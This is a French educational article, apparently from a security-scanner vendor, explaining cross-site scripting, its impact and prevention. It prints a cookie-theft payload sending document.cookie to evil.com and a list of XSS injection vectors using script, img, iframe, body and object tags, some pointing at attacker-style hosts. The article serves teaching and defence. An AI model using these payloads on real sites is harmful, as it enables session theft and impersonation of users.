Le Cross-site Scripting (XSS) est une attaque par injection de code côté client. L’attaquant vise à exécuter des scripts malveillants dans le navigateur web de la victime en incluant du code malveillant dans une page web ou une application web légitime. L’attaque proprement dite se produit lorsque la victime visite la page ou l’application web qui exécute le code malveillant. La page ou l’application Web devient un véhicule pour transmettre le script malveillant au navigateur de l’utilisateur. Les véhicules vulnérables qui sont couramment utilisés pour les attaques par Cross-site Scripting sont les forums, les tableaux de messages et les pages web qui autorisent les commentaires.

Une page web ou une application web est vulnérable au XSS si elle utilise une entrée utilisateur non banalisée dans la sortie qu’elle génère. Cette entrée utilisateur doit ensuite être analysée par le navigateur de la victime. Les attaques XSS sont possibles en VBScript, ActiveX, Flash et même CSS. Cependant, elles sont plus courantes dans JavaScript, principalement parce que JavaScript est fondamental pour la plupart des expériences de navigation.

« Le Cross-site Scripting n’est-il pas le problème de l’utilisateur ? »

Si un attaquant peut abuser d’une vulnérabilité XSS sur une page web pour exécuter un JavaScript arbitraire dans le navigateur d’un utilisateur, la sécurité de ce site web ou de cette application web vulnérable et de ses utilisateurs a été compromise. XSS n’est pas le problème de l’utilisateur comme toute autre vulnérabilité de sécurité. S’il affecte vos utilisateurs, il vous affecte.

Le cross-site scripting peut également être utilisé pour défigurer un site web au lieu de cibler l’utilisateur. L’attaquant peut utiliser des scripts injectés pour modifier le contenu du site web ou même rediriger le navigateur vers une autre page web, par exemple, une page qui contient du code malveillant.

Que peut faire l’attaquant avec JavaScript ?

Les vulnérabilités XSS sont perçues comme moins dangereuses que, par exemple, les vulnérabilités d’injection SQL. Les conséquences de la capacité d’exécuter JavaScript sur une page Web peuvent ne pas sembler terribles au premier abord. La plupart des navigateurs Web exécutent JavaScript dans un environnement très étroitement contrôlé. JavaScript a un accès limité au système d’exploitation et aux fichiers de l’utilisateur. Cependant, JavaScript peut toujours être dangereux s’il est mal utilisé dans le cadre d’un contenu malveillant :

• Le JavaScript malveillant a accès à tous les objets auxquels le reste de la page web a accès. Cela inclut l’accès aux cookies de l’utilisateur. Les cookies sont souvent utilisés pour stocker des jetons de session. Si un attaquant peut obtenir le cookie de session d’un utilisateur, il peut se faire passer pour cet utilisateur, effectuer des actions au nom de l’utilisateur et avoir accès aux données sensibles de l’utilisateur.
• JavaScript peut lire le DOM du navigateur et y apporter des modifications arbitraires. Heureusement, cela n’est possible que dans la page où JavaScript s’exécute.
• JavaScript peut utiliser l’objet XMLHttpRequest pour envoyer des requêtes HTTP avec un contenu arbitraire vers des destinations arbitraires.
• JavaScript dans les navigateurs modernes peut utiliser les API HTML5. Par exemple, il peut avoir accès à la géolocalisation de l’utilisateur, à sa webcam, à son microphone et même à des fichiers spécifiques du système de fichiers de l’utilisateur. La plupart de ces API nécessitent l’opt-in de l’utilisateur, mais l’attaquant peut utiliser l’ingénierie sociale pour contourner cette limitation.

Ce qui précède, combiné à l’ingénierie sociale, permet aux criminels de réaliser des attaques avancées, notamment le vol de cookies, l’implantation de chevaux de Troie, l’enregistrement de frappe, le phishing et l’usurpation d’identité. Les vulnérabilités XSS constituent le terrain idéal pour faire évoluer les attaques vers des attaques plus graves. Le Cross-site Scripting peut également être utilisé en conjonction avec d’autres types d’attaques, par exemple le Cross-Site Request Forgery (CSRF).

Il existe plusieurs types d’attaques Cross-site Scripting : XSS stocké/persistant, XSS réfléchi/non persistant et XSS basé sur le DOM. Vous pouvez en savoir plus à leur sujet dans un article intitulé Types de XSS.

Comment fonctionne le Cross-site Scripting

Une attaque XSS typique se déroule en deux étapes :

1. Pour exécuter un code JavaScript malveillant dans le navigateur d’une victime, un attaquant doit d’abord trouver un moyen d’injecter un code malveillant (charge utile) dans une page Web que la victime visite.
2. Après cela, la victime doit visiter la page Web contenant le code malveillant. Si l’attaque est dirigée vers des victimes particulières, l’attaquant peut utiliser l’ingénierie sociale et/ou le phishing pour envoyer une URL malveillante à la victime.

Pour que la première étape soit possible, le site web vulnérable doit inclure directement une entrée utilisateur dans ses pages. Un attaquant peut alors insérer une chaîne malveillante qui sera utilisée au sein de la page web et traitée comme du code source par le navigateur de la victime. Il existe également des variantes d’attaques XSS où l’attaquant incite l’utilisateur à visiter une URL en utilisant l’ingénierie sociale et où la charge utile fait partie du lien sur lequel l’utilisateur clique.

Voici un extrait du pseudocode côté serveur utilisé pour afficher le commentaire le plus récent sur une page web:

print "<html>"print "<h1>Most recent comment</h1>"print database.latestCommentprint "</html>"

Le script ci-dessus prend simplement le dernier commentaire dans une base de données et l’inclut dans une page HTML. Il suppose que le commentaire imprimé est constitué uniquement de texte et ne contient aucune balise HTML ou autre code. Il est vulnérable au XSS, car un attaquant pourrait soumettre un commentaire contenant une charge utile malveillante, par exemple :

<script>doSomethingEvil();</script>

Le serveur Web fournit le code HTML suivant aux utilisateurs qui visitent cette page Web :

<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>

Lorsque la page se charge dans le navigateur de la victime, le script malveillant de l’attaquant s’exécute. Le plus souvent, la victime ne s’en rend pas compte et n’est pas en mesure d’empêcher une telle attaque.

Voler des cookies en utilisant XSS

Les criminels utilisent souvent XSS pour voler des cookies. Cela leur permet d’usurper l’identité de la victime. L’attaquant peut envoyer le cookie à son propre serveur de plusieurs façons. L’une d’entre elles consiste à exécuter le script côté client suivant dans le navigateur de la victime :

<script>window.location="http://evil.com/?cookie=" + document.cookie</script>

La figure ci-dessous illustre une marche à suivre étape par étape d’une attaque XSS simple.

1. L’attaquant injecte une charge utile dans la base de données du site Web en soumettant un formulaire vulnérable avec un contenu JavaScript malveillant.
2. La victime demande la page web au serveur web.
3. Le serveur web sert au navigateur de la victime la page avec la charge utile de l’attaquant comme partie du corps HTML.
4. Le navigateur de la victime exécute le script malveillant contenu dans le corps HTML. Dans ce cas, il envoie le cookie de la victime au serveur de l’attaquant.
5. L’attaquant n’a plus qu’à extraire le cookie de la victime lorsque la requête HTTP arrive au serveur.
6. L’attaquant peut maintenant utiliser le cookie volé de la victime pour l’usurpation d’identité.

Pour en savoir plus sur la façon dont les attaques XSS sont menées, vous pouvez vous référer à un article intitulé Un tutoriel complet sur le cross-site scripting.

Vecteurs d’attaque par cross-site scripting

Voici une liste des vecteurs d’attaque XSS courants qu’un attaquant pourrait utiliser pour compromettre la sécurité d’un site ou d’une application web par le biais d’une attaque XSS. Une liste plus complète d’exemples de charges utiles XSS est maintenue par l’organisation OWASP : XSS Filter Evasion Cheat Sheet.

<script> tag

Le <script> tag est la charge utile XSS la plus simple. Une balise script peut référencer du code JavaScript externe ou vous pouvez intégrer le code dans la balise script elle-même.

<!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>

Événements JavaScript

Les attributs d’événements JavaScript tels que onload et onerror peuvent être utilisés dans de nombreuses balises différentes. Il s’agit d’un vecteur d’attaque XSS très populaire.

<!-- onload attribute in the <body> tag --><body onload=alert("XSS")>

<body> tag

Une charge utile XSS peut être délivrée à l’intérieur de la balise <body> en utilisant des attributs d’événements (voir ci-dessus) ou d’autres attributs plus obscurs comme l’attribut background.

<!-- background attribute --><body background="javascript:alert("XSS")">

<img> tag

Certains navigateurs exécutent le JavaScript trouvé dans les attributs <img>.

<!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!-- tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">

<iframe> tag

Le <iframe> tag vous permet d’intégrer une autre page HTML dans la page actuelle. Une IFrame peut contenir du JavaScript mais le JavaScript dans l’IFrame n’a pas accès au DOM de la page parente en raison de la politique de sécurité du contenu (CSP) du navigateur. Cependant, les IFrames restent très efficaces pour réaliser des attaques de phishing.

<!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">

<input> tag

Dans certains navigateurs, si l’attribut type de la balise <input> est défini sur image, il peut être manipulé pour intégrer un script.

<!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">

<link> balise

La balise <link>, qui est souvent utilisée pour créer des liens vers des feuilles de style externes, peut contenir un script.

<!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">

<table> balise

L’attribut background (arrière-plan) des balises <table> et <td> peut être exploité pour faire référence à un script au lieu d’une image.

<!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">

<> balise

La balise <div>, similaire aux balises <table> et <td>, peut également spécifier un arrière-plan et donc intégrer un script.

<!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">

<objet> balise

La <object> tag peut être utilisée pour inclure un script provenant d’un site externe.

<!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">

Votre site Web ou votre application Web est-il vulnérable au Cross-site Scripting

Les vulnérabilités de Cross-site Scripting sont l’une des vulnérabilités les plus courantes des applications Web. L’organisation OWASP (Open Web Application Security Project) répertorie les vulnérabilités XSS dans son document OWASP Top 10 2017 comme le deuxième problème le plus répandu.

Heureusement, il est facile de tester si votre site Web ou votre application Web est vulnérable au XSS et à d’autres vulnérabilités en exécutant un scan Web automatisé à l’aide du scanner de vulnérabilités Acunetix, qui comprend un module spécialisé dans le scanner XSS. Faites une démonstration et apprenez-en plus sur l’exécution de scans XSS sur votre site ou application web. Un exemple de la façon dont vous pouvez détecter les vulnérabilités XSS aveugles avec Acunetix est disponible dans l’article suivant : Comment détecter les vulnérabilités XSS aveugles.

Comment prévenir le XSS

Pour vous protéger du XSS, vous devez assainir vos entrées. Le code de votre application ne doit jamais transmettre les données reçues en entrée directement au navigateur sans vérifier qu’elles ne contiennent pas de code malveillant.

Pour plus de détails, consultez les articles suivants : Prévention des attaques XSS et Comment prévenir les scripts intersites basés sur le DOM. Vous pouvez également trouver des informations utiles dans le XSS Prevention Cheat Sheet maintenu par l’organisation OWASP.

Questions fréquemment posées